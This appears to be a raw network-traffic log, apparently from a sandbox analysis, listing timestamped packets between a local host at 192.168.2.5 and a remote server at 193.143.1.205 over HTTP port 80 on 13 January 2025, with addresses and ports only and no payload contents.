Jan 13, 2025 10:28:17.028769016 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.028805017 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.028841019 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.028891087 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.028891087 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.028924942 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.028950930 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.028959036 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.028991938 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.029004097 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.029026985 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.029072046 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.044940948 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.044972897 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.045041084 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.045064926 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.045094967 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.045140982 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.075582027 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075619936 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075683117 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075683117 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.075716019 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075751066 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075783968 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075812101 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.075834036 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075840950 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.075866938 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075900078 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075932980 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075951099 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.075967073 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.075985909 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.092147112 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.092170954 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.092183113 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.092195034 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.092206955 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.092228889 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.092300892 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.092354059 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.106223106 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106247902 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106265068 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106281042 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106297016 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106297016 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.106312990 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106327057 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.106333017 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106349945 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.106395960 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106406927 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106416941 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106426954 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.106447935 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.106481075 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123233080 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123249054 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123287916 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123369932 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123384953 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123395920 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123428106 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123441935 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123512983 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123522997 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123532057 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123539925 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123554945 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123580933 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123676062 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123686075 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123696089 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123704910 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123718977 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123739004 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123821974 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123832941 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123842001 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123857021 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123862982 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123867035 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123876095 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123886108 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123894930 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123899937 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123905897 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123917103 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.123924017 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123939037 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.123951912 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.124469042 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124478102 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124488115 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124496937 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124505997 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124505997 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.124515057 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124532938 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.124547958 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.124635935 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124646902 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124655008 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124664068 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124672890 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124680996 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.124682903 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124691963 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124701023 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.124701977 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.124717951 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.124735117 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.124783993 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125632048 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125641108 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125650883 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125658989 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125669003 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125678062 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125685930 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.125688076 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125705957 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.125722885 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.125812054 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125822067 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125830889 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125839949 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125868082 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.125888109 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.125972986 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125983000 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.125992060 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126002073 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126015902 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.126038074 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.126714945 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126725912 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126735926 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126744986 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126756907 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126760960 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.126768112 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126777887 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126779079 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.126801014 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.126872063 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126883030 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126893044 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126904011 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126908064 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.126914978 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126924038 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126931906 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.126934052 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126944065 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.126948118 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.126975060 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.127300978 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127310991 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127355099 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.127444983 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127456903 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127466917 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127476931 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127487898 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127494097 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.127516985 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.127532005 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.127607107 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127619028 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127628088 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127638102 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127649069 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127652884 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.127659082 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127669096 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.127669096 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127680063 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.127695084 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.127710104 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.128405094 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.128421068 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.128432035 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.128449917 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.128529072 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.128565073 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.129738092 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.136599064 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.162250042 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162271976 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162281990 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162309885 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162323952 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162323952 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.162365913 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.162369967 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162388086 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162399054 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162409067 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162420034 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162497997 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162514925 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162525892 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162538052 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162547112 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.162647963 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.162648916 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.162648916 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.162648916 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.162648916 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.182183981 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.190531015 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.192819118 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.192887068 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.192917109 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.192929029 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.192939997 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.192950010 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.192960978 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.192970037 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.193000078 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.193197012 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.193207979 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.193219900 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.193248034 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.193262100 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.193332911 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.193344116 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.193355083 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.193380117 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.193516970 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.193527937 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.193537951 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.193562031 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.193586111 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.202091932 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211355925 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211374044 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211388111 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211400032 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211411953 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211421967 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211424112 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211450100 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211452961 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211464882 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211474895 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211488962 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211502075 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211513996 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211523056 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211527109 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211540937 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211544991 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211554050 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211563110 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211565971 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211575985 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211587906 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211594105 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211616993 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211621046 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211635113 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211644888 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211654902 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211663008 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211664915 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211677074 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211685896 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211688995 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211703062 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211710930 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211713076 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211724997 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211725950 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211747885 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211755991 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211770058 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211781979 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211795092 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211801052 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211807013 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211818933 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211821079 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211833954 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211843014 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211848974 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211862087 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211869001 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211891890 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211894035 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211905956 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211920023 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211932898 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211946964 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211947918 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211958885 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211968899 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211971998 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211986065 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.211996078 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.211997986 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212017059 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.212038994 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212054014 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212065935 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212078094 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.212079048 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212104082 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.212120056 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212155104 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.212168932 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212179899 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212189913 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212201118 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212209940 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212213993 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.212222099 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.212244034 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.212255001 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.217384100 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.217396021 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.217407942 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.217418909 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.217428923 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.217438936 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.217442036 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.217452049 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.217468023 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.217489004 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.217560053 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.217614889 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.223697901 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.223711014 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.223720074 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.223754883 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.223839045 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.223849058 CET	80	49716	193.143.1.205	192.168.2.5
